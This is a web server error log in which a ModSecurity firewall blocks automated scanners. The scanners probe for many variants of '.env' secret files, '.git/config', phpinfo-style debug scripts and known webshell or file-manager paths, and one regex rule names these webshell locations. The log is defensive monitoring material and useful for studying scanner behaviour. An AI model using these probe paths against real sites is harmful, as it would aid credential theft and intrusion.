[Wed Dec 03 12:49:14.307474 2025] [:error] [pid 54695:tid 54722] [client 54.146.27.112:40584] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aS_BSmrRT4nTHsfUu04QTwAAAVc"]
[Wed Dec 03 12:49:15.119499 2025] [:error] [pid 22014:tid 22070] [client 54.146.27.112:40780] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aS_BSwgpXEQej7y9Y6ZaXQAAARg"]
[Wed Dec 03 12:49:15.930806 2025] [:error] [pid 24019:tid 24044] [client 54.146.27.112:40958] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.1"] [unique_id "aS_BS5kVRhF9Pu1FX0NrxwAAAJY"]
[Wed Dec 03 12:49:16.743139 2025] [:error] [pid 22083:tid 22096] [client 54.146.27.112:41110] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.2"] [unique_id "aS_BTPicvKZCy0M9-zwMXgAAAEs"]
[Wed Dec 03 12:49:17.556140 2025] [:error] [pid 54695:tid 54710] [client 54.146.27.112:41246] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod.local"] [unique_id "aS_BTWrRT4nTHsfUu04QUgAAAUs"]
[Wed Dec 03 12:49:18.368307 2025] [:error] [pid 22014:tid 22063] [client 54.146.27.112:41402] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev.local"] [unique_id "aS_BTggpXEQej7y9Y6ZaYwAAARE"]
[Wed Dec 03 12:49:19.184458 2025] [:error] [pid 54695:tid 54706] [client 54.146.27.112:41554] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/.env"] [unique_id "aS_BT2rRT4nTHsfUu04QWAAAAUc"]
[Wed Dec 03 12:49:19.996272 2025] [:error] [pid 22014:tid 22057] [client 54.146.27.112:41704] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lib/.env"] [unique_id "aS_BTwgpXEQej7y9Y6ZaZQAAAQs"]
[Wed Dec 03 12:49:20.807309 2025] [:error] [pid 64775:tid 64790] [client 54.146.27.112:41886] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lab/.env"] [unique_id "aS_BUDCfrfdP2K_u39dqNwAAAY0"]
[Wed Dec 03 12:49:21.617821 2025] [:error] [pid 22013:tid 22034] [client 54.146.27.112:42044] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cronlab/.env"] [unique_id "aS_BUYpUogO0aqsrpMW9NAAAAM8"]
[Wed Dec 03 12:49:22.429325 2025] [:error] [pid 64775:tid 64795] [client 54.146.27.112:42204] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cron/.env"] [unique_id "aS_BUjCfrfdP2K_u39dqOQAAAZI"]
[Wed Dec 03 12:49:23.246925 2025] [:error] [pid 21970:tid 21989] [client 54.146.27.112:42410] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aS_BU2YwAeqEfyJIWdS8zgAAAA0"]
[Wed Dec 03 15:41:55.094151 2025] [autoindex:error] [pid 20707:tid 20728] [client 194.5.82.5:63463] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Dec 03 15:42:04.644615 2025] [:error] [pid 20707:tid 20719] [client 194.5.82.5:63463] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager"] [unique_id "aS_pzDObjEHgU5ngsxeHlgAAAQo"]
[Wed Dec 03 15:54:19.492989 2025] [:error] [pid 47815:tid 47828] [client 165.227.121.227:58234] [client 165.227.121.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aS_sq0TsjPA8HXY_dpGf3wAAAMs"]
[Wed Dec 03 15:54:22.039037 2025] [:error] [pid 32437:tid 32451] [client 165.227.121.227:51330] [client 165.227.121.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aS_srqBId4T5gQoDbCEsAQAAAAs"]
[Wed Dec 03 20:22:48.277010 2025] [rewrite:error] [pid 20607:tid 20627] [client 103.196.9.175:59678] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Wed Dec 03 20:24:06.107398 2025] [rewrite:error] [pid 20669:tid 20694] [client 107.172.195.27:4834] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Wed Dec 03 21:11:58.868085 2025] [:error] [pid 47815:tid 47827] [client 43.135.186.135:45860] [client 43.135.186.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTA3HkTsjPA8HXY_dpHhTQAAAMo"]
[Wed Dec 03 22:27:04.620910 2025] [:error] [pid 20707:tid 20717] [client 165.227.121.227:58270] [client 165.227.121.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTBIuDObjEHgU5ngsxcGewAAAQg"]
[Wed Dec 03 22:27:07.217571 2025] [:error] [pid 20608:tid 20640] [client 165.227.121.227:50982] [client 165.227.121.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTBIu05WGptz5j0ZvYeuDwAAAIM"]
[Thu Dec 04 02:00:29.005111 2025] [:error] [pid 63344:tid 63354] [client 203.33.203.148:56808] [client 203.33.203.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTB6vbFn6Z8FbZz0IjlouAAAAAU"]
[Thu Dec 04 02:11:53.994658 2025] [:error] [pid 3841:tid 3889] [client 16.171.194.133:41416] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_version.php"] [unique_id "aTB9aRqrnhYwq_3H8CQbDQAAAU0"]
[Thu Dec 04 02:11:55.182516 2025] [:error] [pid 3840:tid 3870] [client 16.171.194.133:41538] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/serverinfo.php"] [unique_id "aTB9a5F_IDAg4wPRjg7FsQAAAFY"]
[Thu Dec 04 02:11:56.357683 2025] [:error] [pid 3840:tid 3849] [client 16.171.194.133:41672] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/server.php"] [unique_id "aTB9bJF_IDAg4wPRjg7FtAAAAEE"]
[Thu Dec 04 02:11:57.531627 2025] [:error] [pid 3840:tid 3850] [client 16.171.194.133:41806] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/debug.php"] [unique_id "aTB9bZF_IDAg4wPRjg7FuQAAAEI"]
[Thu Dec 04 02:11:58.732801 2025] [:error] [pid 3841:tid 3900] [client 16.171.194.133:41956] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/diagnostic.php"] [unique_id "aTB9bhqrnhYwq_3H8CQbEQAAAVg"]
[Thu Dec 04 02:11:59.933972 2025] [:error] [pid 3842:tid 3925] [client 16.171.194.133:42112] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phptest.php"] [unique_id "aTB9byaILLkuuVMSmjsYswAAAZY"]
[Thu Dec 04 02:12:01.110615 2025] [:error] [pid 3840:tid 3858] [client 16.171.194.133:42260] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/check.php"] [unique_id "aTB9cZF_IDAg4wPRjg7FwgAAAEo"]
[Thu Dec 04 02:12:02.299141 2025] [:error] [pid 63344:tid 63350] [client 16.171.194.133:42422] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/probe.php"] [unique_id "aTB9crFn6Z8FbZz0IjltxwAAAAE"]
[Thu Dec 04 02:12:03.489713 2025] [:error] [pid 3842:tid 3913] [client 16.171.194.133:42548] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_profiler/phpinfo"] [unique_id "aTB9cyaILLkuuVMSmjsYugAAAYo"]
[Thu Dec 04 02:12:04.681803 2025] [:error] [pid 3840:tid 3860] [client 16.171.194.133:42696] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aTB9dJF_IDAg4wPRjg7FyQAAAEw"]
[Thu Dec 04 02:12:05.876048 2025] [:error] [pid 3840:tid 3854] [client 16.171.194.133:42838] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aTB9dZF_IDAg4wPRjg7FzAAAAEY"]
[Thu Dec 04 02:12:07.063656 2025] [:error] [pid 63344:tid 63368] [client 16.171.194.133:42990] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aTB9d7Fn6Z8FbZz0IjltygAAABM"]
[Thu Dec 04 02:12:08.262843 2025] [:error] [pid 3842:tid 3909] [client 16.171.194.133:43152] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aTB9eCaILLkuuVMSmjsYwwAAAYY"]
[Thu Dec 04 02:12:09.449562 2025] [:error] [pid 3938:tid 3952] [client 16.171.194.133:43292] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aTB9eSAHKAmSjlzEts4augAAAgw"]
[Thu Dec 04 02:12:10.622224 2025] [:error] [pid 3842:tid 3903] [client 16.171.194.133:43456] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info_php.php"] [unique_id "aTB9eiaILLkuuVMSmjsYxQAAAYA"]
[Thu Dec 04 02:12:11.821120 2025] [:error] [pid 3842:tid 3911] [client 16.171.194.133:43682] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php-info.php"] [unique_id "aTB9eyaILLkuuVMSmjsYygAAAYg"]
[Thu Dec 04 02:12:13.017756 2025] [:error] [pid 3842:tid 3914] [client 16.171.194.133:43948] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/infophp.php"] [unique_id "aTB9fSaILLkuuVMSmjsYzQAAAYs"]
[Thu Dec 04 02:12:14.206146 2025] [:error] [pid 63344:tid 63370] [client 16.171.194.133:44254] [client 16.171.194.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/testphp.php"] [unique_id "aTB9frFn6Z8FbZz0Ijlt0gAAABU"]
[Thu Dec 04 02:12:15.400946 2025] [:error] [pid 3840:tid 3853] [client 16.171.194.133:44436] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTB9f5F_IDAg4wPRjg7F1QAAAEU"]
[Thu Dec 04 02:12:16.596015 2025] [:error] [pid 63344:tid 63372] [client 16.171.194.133:44654] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTB9gLFn6Z8FbZz0Ijlt1QAAABc"]
[Thu Dec 04 02:12:17.770605 2025] [:error] [pid 3841:tid 3896] [client 16.171.194.133:44900] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aTB9gRqrnhYwq_3H8CQbKwAAAVQ"]
[Thu Dec 04 02:12:18.959094 2025] [:error] [pid 3840:tid 3848] [client 16.171.194.133:45136] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "aTB9gpF_IDAg4wPRjg7F2AAAAEA"]
[Thu Dec 04 02:12:20.147068 2025] [:error] [pid 63344:tid 63364] [client 16.171.194.133:45340] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aTB9hLFn6Z8FbZz0Ijlt2AAAAA8"]
[Thu Dec 04 02:12:21.326752 2025] [:error] [pid 3841:tid 3888] [client 16.171.194.133:45548] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aTB9hRqrnhYwq_3H8CQbLwAAAUw"]
[Thu Dec 04 02:12:22.513435 2025] [:error] [pid 3841:tid 3892] [client 16.171.194.133:45728] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aTB9hhqrnhYwq_3H8CQbMAAAAVA"]
[Thu Dec 04 02:12:23.715352 2025] [:error] [pid 3842:tid 3927] [client 16.171.194.133:45902] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "aTB9hyaILLkuuVMSmjsY2gAAAZg"]
[Thu Dec 04 02:12:24.913735 2025] [:error] [pid 3841:tid 3894] [client 16.171.194.133:46074] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aTB9iBqrnhYwq_3H8CQbNQAAAVI"]
[Thu Dec 04 02:12:26.104989 2025] [:error] [pid 3841:tid 3877] [client 16.171.194.133:46224] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "aTB9ihqrnhYwq_3H8CQbOAAAAUE"]
[Thu Dec 04 02:12:27.303741 2025] [:error] [pid 3842:tid 3916] [client 16.171.194.133:46350] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aTB9iyaILLkuuVMSmjsY4wAAAY0"]
[Thu Dec 04 02:12:28.477100 2025] [:error] [pid 63344:tid 63367] [client 16.171.194.133:46488] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aTB9jLFn6Z8FbZz0Ijlt4wAAABI"]
[Thu Dec 04 02:12:29.654448 2025] [:error] [pid 63344:tid 63351] [client 16.171.194.133:46666] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aTB9jbFn6Z8FbZz0Ijlt5AAAAAI"]
[Thu Dec 04 02:12:30.842663 2025] [:error] [pid 63344:tid 63369] [client 16.171.194.133:46828] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.1"] [unique_id "aTB9jrFn6Z8FbZz0Ijlt5QAAABQ"]
[Thu Dec 04 02:12:32.035408 2025] [:error] [pid 3842:tid 3903] [client 16.171.194.133:46998] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.2"] [unique_id "aTB9kCaILLkuuVMSmjsY6QAAAYA"]
[Thu Dec 04 02:12:33.219315 2025] [:error] [pid 63344:tid 63365] [client 16.171.194.133:47160] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod.local"] [unique_id "aTB9kbFn6Z8FbZz0Ijlt6QAAABA"]
